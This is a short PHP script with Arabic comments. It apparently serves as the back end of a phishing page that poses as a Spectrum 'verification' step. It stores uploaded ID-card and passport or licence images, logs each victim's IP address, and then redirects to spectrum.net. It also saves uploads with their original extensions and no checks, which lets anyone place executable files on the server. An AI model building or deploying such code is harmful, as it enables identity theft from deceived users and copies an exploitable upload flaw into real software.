<?php
// إخفاء الأخطاء للمستخدم
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(E_ALL);

// إنشاء مجلد الرفع إن لم يكن موجود
$uploadDir = "uploads/";
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

// الحصول على IP المستخدم
$ip = $_SERVER['REMOTE_ADDR'];

// توليد أسماء عشوائية للصور
$idCardName = uniqid("id_") . "." . pathinfo($_FILES['idCard']['name'], PATHINFO_EXTENSION);
$docName = uniqid("doc_") . "." . pathinfo($_FILES['passportOrLicense']['name'], PATHINFO_EXTENSION);

// المسارات النهائية
$idCardPath = $uploadDir . $idCardName;
$docPath = $uploadDir . $docName;

// محاولة نقل الملفات
$uploadSuccess = true;
if (!move_uploaded_file($_FILES['idCard']['tmp_name'], $idCardPath)) {
    $uploadSuccess = false;
}
if (!move_uploaded_file($_FILES['passportOrLicense']['tmp_name'], $docPath)) {
    $uploadSuccess = false;
}

if ($uploadSuccess) {
    // سجل التفاصيل
    $log = "IP: $ip\n";
    $log .= "ID Card: $idCardPath\n";
    $log .= "Passport/License: $docPath\n";
    $log .= "Date: " . date("Y-m-d H:i:s") . "\n";
    $log .= "-----------------------------\n";
    file_put_contents("log.txt", $log, FILE_APPEND);

    // رسالة نجاح
 echo '<div style="text-align:center; margin-top: 50px;">
            <div style="font-size: 48px; color: green;">✅</div>
            <h2 style="color: green;">Verification submitted successfully.</h2>
            <p>You will be redirected shortly...</p>
          </div>';
    echo '<meta http-equiv="refresh" content="3;url=https://spectrum.net">';
} else {
    echo "<h2 style='text-align:center; color: red;'>Upload failed. Please try again.</h2>";
}
?>
